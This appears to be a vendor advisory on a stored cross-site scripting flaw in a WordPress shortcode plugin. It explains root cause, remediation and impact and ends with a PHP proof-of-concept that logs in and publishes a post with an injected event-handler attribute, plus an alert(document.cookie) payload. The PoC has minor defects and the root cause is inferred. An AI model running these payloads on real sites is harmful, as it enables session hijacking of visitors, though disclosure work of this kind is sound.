Atomic Edge analysis of CVE-2026-7661 (metadata-based):
This vulnerability affects the Bootstrap Shortcode WordPress plugin version 1.0 and earlier. It is a stored cross-site scripting (XSS) vulnerability in the ‘box’ shortcode. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript into post content. The injected script executes when any user views the affected page. The CVSS score is 6.4 (medium severity) with a vector indicating low attack complexity, low privileges required, and a scope change indicating impact on the user’s browser session.
Root Cause: The CWE-79 classification points to improper neutralization of input during web page generation. Atomic Edge research infers that the plugin’s ‘box’ shortcode handler passes user-supplied attributes (likely ‘class’, ‘style’, or a custom attribute) directly into HTML output without adequate sanitization or escaping. WordPress’s built-in shortcode API passes attribute values as strings, and if the plugin fails to apply esc_attr(), esc_html(), or wp_kses_post() before embedding those values in the generated shortcode HTML, stored XSS becomes possible. This is a common pattern in WordPress shortcode plugins that accept arbitrary CSS classes or inline styles.
Exploitation: An attacker with Contributor (or Author, Editor, Admin) privileges creates or edits a post containing the vulnerable shortcode. For example: [box class=”test” style=”background:red”]content[/box]. The attacker injects a malicious payload into one of the shortcode attributes, such as: [box class=”test” onmouseover=”alert(document.cookie)”]. When the shortcode renders, the unsanitized attribute value becomes part of the HTML, and the event handler executes in the visitor’s browser. The attack vector is the WordPress post editor (block editor or classic editor) via the shortcode’s attribute fields. No AJAX endpoint or REST API bypass is required; the exploit occurs through standard post creation/editing workflows.
Remediation: The fix requires proper output escaping on all user-supplied shortcode attributes. For HTML attribute contexts, the plugin must use esc_attr() before embedding attribute values. For inline CSS, the plugin should either whitelist allowed style properties or apply esc_attr() with additional validation. WordPress core provides esc_attr(), esc_html(), esc_url(), and wp_kses() for different output contexts. The plugin’s shortcode callback function needs to sanitize each attribute with the appropriate escaping function before including it in the returned HTML string. Since no patched version exists, administrators should disable the plugin until the vendor releases an update.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, cookie theft, redirect to phishing pages, defacement, or unauthorized actions performed on behalf of the victim. Since the attack requires only Contributor-level access (lowest content creation role), the potential attack surface includes any WordPress site with registered users allowed to submit content. The stored XSS persists until the malicious post is deleted or edited to remove the payload.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-7661 - Bootstrap Shortcode <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'box' Shortcode
// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$username = 'attacker'; // Must have Contributor-level access or higher
$password = 'password';
// Payload: Stored XSS via onmouseover event on the shortcode wrapper
$malicious_attribute = 'x" onmouseover="alert(1)" data-x="';
// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$post_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Get the REST API nonce (for block editor) or classic editor cookie
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract _wpnonce from the classic editor or REST nonce from block editor
preg_match('/wp_api_nonce" value="([^"]+)"/', $response, $matches);
$rest_nonce = isset($matches[1]) ? $matches[1] : '';
// If block editor is active, use REST API to create a post with the malicious shortcode
if (!empty($rest_nonce)) {
// Step 3: Create post via REST API with malicious shortcode
$rest_url = $target_url . '/wp-json/wp/v2/posts';
$post_content = '[box class="' . $malicious_attribute . '"]Hello[/box]';
$post_data = array(
'title' => 'CVE-2026-7661 Test',
'content' => $post_content,
'status' => 'publish'
);
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-WP-Nonce: ' . $rest_nonce
));
$response = curl_exec($ch);
$result = json_decode($response, true);
if (isset($result['id'])) {
echo '[+] Post created successfully. View: ' . $result['link'] . "n";
echo '[+] Malicious shortcode: ' . $post_content . "n";
} else {
echo '[-] Failed to create post. Response: ' . print_r($result, true) . "n";
}
} else {
// Fallback: classic editor approach (simpler login cookie based)
echo '[!] Block editor nonce not found. Trying classic editor alternative...n';
// Alternative: Use admin-ajax.php to post using classic editor
// This is less reliable without specific AJAX endpoint knowledge.
// The plugin's shortcode is processed on render, so injection occurs via post content.
// For classic editor, attacker would craft post content in the editor and publish.
echo '[-] Classic editor path requires manual post creation. Use the block editor PoC above.n';
}
curl_close($ch);
?>
